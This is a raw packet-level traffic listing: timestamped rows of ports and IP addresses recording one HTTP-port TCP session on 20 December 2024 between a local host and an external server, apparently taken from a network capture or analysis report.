Dec 20, 2024 17:13:42.152087927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.152137041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.152743101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.152842045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.152884960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.153559923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.153980017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.154031992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.154285908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.154589891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.154642105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.155097008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.155204058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.155253887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.155870914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.156025887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.156088114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.156783104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.156837940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.156886101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.157563925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.157598019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.157644033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.158226013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.158504963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.158560991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.159092903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.159152031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.159203053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.159893990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.159931898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.159981012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.160604000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.160672903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.160723925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.161463022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.161535025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.161729097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.162146091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.162199974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.162250042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.162986994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.163073063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.163122892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.163650990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.163811922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.163861990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.164483070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.164650917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.164700031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.165355921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.165391922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.165441990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.196228981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.196472883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.196562052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.196825027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.197012901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.197073936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.197473049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.197527885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.197577953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.198143005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.265645027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.268115997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.268179893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.268239975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.268373966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.268459082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.268508911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.268971920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.269093037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.269140959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.269882917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.269941092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.269990921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.271348000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.272386074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.272444963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.274404049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.274440050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.274476051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.274482965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.274511099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.274545908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.274552107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.274584055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.274629116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.275028944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.275192976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.275227070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.275238991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.275264025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.275300026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.276468039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.276757002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.276802063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.277601957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.277642012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.277692080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.278039932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.278332949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.278387070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.278825045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.279009104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.279053926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.279551029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.279704094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.279752016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.281002998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.281174898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.281193972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.281205893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.281223059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.281246901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.282000065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.282166958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.282215118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.282874107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.282886028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.282937050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.283529043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.283710957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.283790112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.284332037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.284344912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.284394026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.284395933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.284410000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.284450054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.284831047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.284926891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.284965992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.285412073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.285573959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.285612106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.286206007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.286320925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.286360025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.287070990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.287215948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.287256956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.287719011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.287843943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.287883997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.288602114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.288798094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.288836002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.289308071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.289438009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.289480925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.290254116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.290369987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.290410042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.290903091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.343198061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.343347073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.343516111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.343657970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.343694925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.343710899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.344233990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.344304085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.344379902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.345010996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.345060110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.345263958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.345362902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.345424891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.346035004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.346164942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.346206903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.346826077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.346960068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.347001076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.347626925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.347784996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.347832918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.348440886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.348496914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.348535061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.349334955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.349596024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.349636078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.350121975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.350301981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.350342989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.350749016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.350872040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.350914001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.351552010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.351742029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.351778030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.352474928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.352616072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.352652073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.353152037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.353317022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.353359938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.353893042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.353948116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.353986025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.355056047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.355093002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.355123997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.355420113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.355571032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.355611086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.356348038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.356558084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.356601000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.357312918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.357424974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.357465982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.357870102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.357939959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.357978106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.388684988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.389019966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.389059067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.389085054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.389193058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.389231920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.389746904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.389786005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.389818907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.390738010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.437489986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.460520029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.460654020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.460688114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.460710049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.461004972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.461047888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.461555004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.461638927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.461680889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.462338924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.462464094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.462505102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.463243008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.463280916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.463324070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.463871002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.464211941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.464260101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.464816093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.464852095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.464891911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.465538979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.465578079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.465617895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.466317892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.466352940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.466418028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.467077017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.467242002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.467288971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.467777967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.467928886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.467976093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.468627930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.468662977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.468727112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.469310045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.469402075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.469443083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.470117092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.470278978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.470329046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.470923901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.471009016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.471060038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.471889973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.472034931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.472076893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.472467899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.472558975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.472604036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.473272085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.473541021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.473592043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.474029064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.474237919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.474282980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.474833012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.475169897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.475243092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.475622892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.475811958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.475856066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.476479053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.476516008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.476555109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.477250099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.477303028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.477343082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.478225946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.478260994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.478310108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.478764057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.478842020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.478897095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.479533911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.479638100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.479677916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.480410099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.480604887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.480649948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.481076002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.481237888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.481273890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.481991053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.482039928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.482084990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.482717991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.482762098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.482801914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.540611982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.540632963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.540744066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.541095018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.541110039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.541165113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.541543961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.541558027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.541569948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.541589022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.541623116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.541656971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.541800022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.542833090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.542881012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.542999029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.543713093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.543731928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.543746948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.544262886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.544281006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.544297934 CET	49711	80	192.168.2.9	147.45.113.159
